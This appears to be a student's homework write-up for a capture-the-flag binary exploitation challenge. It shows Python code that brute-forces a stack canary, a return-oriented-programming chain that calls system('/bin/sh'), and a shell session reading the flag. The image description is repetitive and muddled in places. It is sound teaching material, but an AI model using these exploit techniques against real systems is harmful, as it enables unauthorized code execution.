

# Computer Security Hw0x08 Writeup

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## EDU 2019 Election (pwn ROP chain)

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- In this problem, we can see that all the protection mechanism has been turned on unlike `casino++`!
- Primitive approach: [attack canary](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/) (<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/>).

### Step 1: Leaking the Canary and ASLR base address with bruteforce

- Since there is no out-of bound solution due to the strict boundary checking in the `voting` function, we must bypass the canary with brute force as well as the runtime ASLR base.

```
def hack_canary_ASRL():
    canary = ''
    canary_offset = 0xb8
    guess = 0

    buf = ''
    buf += '\x87' * canary_offset

    r.sendlineafter('>', '2')
    r.sendlineafter('token: ', buf)

    while len(canary) < 8:
        while guess <= 0xff:

            r.sendlineafter('>', '1')
            r.sendthen('Token: ', buf + chr(guess))


            check = r.recvline()
            if 'Invalid' not in check:
                canary += chr(guess)
                buf += chr(guess)
                guess = 0

            # logout
            r.sendlineafter('>', '3')
            break


        guess += 1
```

### Step 2: Store the ROP chain in token for leaking the base of LIBC

- From the memory frame, we may store the ROP chain in `char token[0xb8]` under the `main` function.



- With `pop r14, pop r15, ret` ROPGadget, pop 2 unnecessary variable out and we may step into the ROP chain!



- And it is successfully leaked.

```
[*] Paused (press any to continue)
('libc_base --> ', '0x7f718fe3c000')
Traceback (most recent call last):
  File "leak.py", line 187, in <module>
```

Moreover, we should chain ROP with address of `main` make it return to main function for further exploitation of sending `system(['/bin/sh'])` payload again.

**Step 3: Repeat the same process for sending `system(['/bin/sh'])` payload and PWN it!**

```
var
$ cd home
$ ls
election
$ cd election
$ ls
election
flag
run.sh
$ cat flag
FLAG{Wh0_h4cked_my_v0t1ng_sys7em:P}
$
```

**Some pitfalls to avoid**

- In step 2, I encountered the **unaligned stack corruption** the same as TA yuawn demoed in Lab0x04/bof or in class, so I added one pure `ret` in front of my ROPchain, just as TA yuawn said.



```
def rop_shell(canary, base, libc_base):
    p = ''

    pop_rdi = base + 0x11a3
    p += p64(pop_rdi)

    bin_sh = libc_base + offset_binsh
    p += p64(bin_sh)


    system = libc_base + offset_system
    p += p64(system)
```

- During sending the payload, and inevitably overwrite the data of rbp. However, we cannot overwrite rbp with arbitrary value like the following picture with 0x8787878787878787.

The screenshot shows a debugger window with a Python script being executed. The script is a ROP chain generator. It defines a function 'rop\_shell' that takes 'canary', 'base', and 'libc\_base' as arguments. It constructs a payload 'p' by concatenating ROP gadgets. The first gadget is 'pop\_rdi = base + 0x11a3'. The second is 'bin\_sh = libc\_base + offset\_binsh'. The third is 'system = libc\_base + offset\_system'. The script then prints the payload and sends it over a socket. The debugger shows the execution of the script, with the payload being sent. The debugger also shows the memory layout, with the stack and heap visible. The payload is stored in the .bss section. The debugger shows the execution of the script, with the payload being sent. The debugger also shows the memory layout, with the stack and heap visible. The payload is stored in the .bss section.

(Error: Cannot access memory at 0x8787878787878787)

- Thus we may store the value of rbp somewhere in the .bss section and we're good when we tried to pop something to rbp.



-> fix as follow `rbp = base + 0x202000` `rbp = p64(rbp)`

**Note++ (pwn heap)**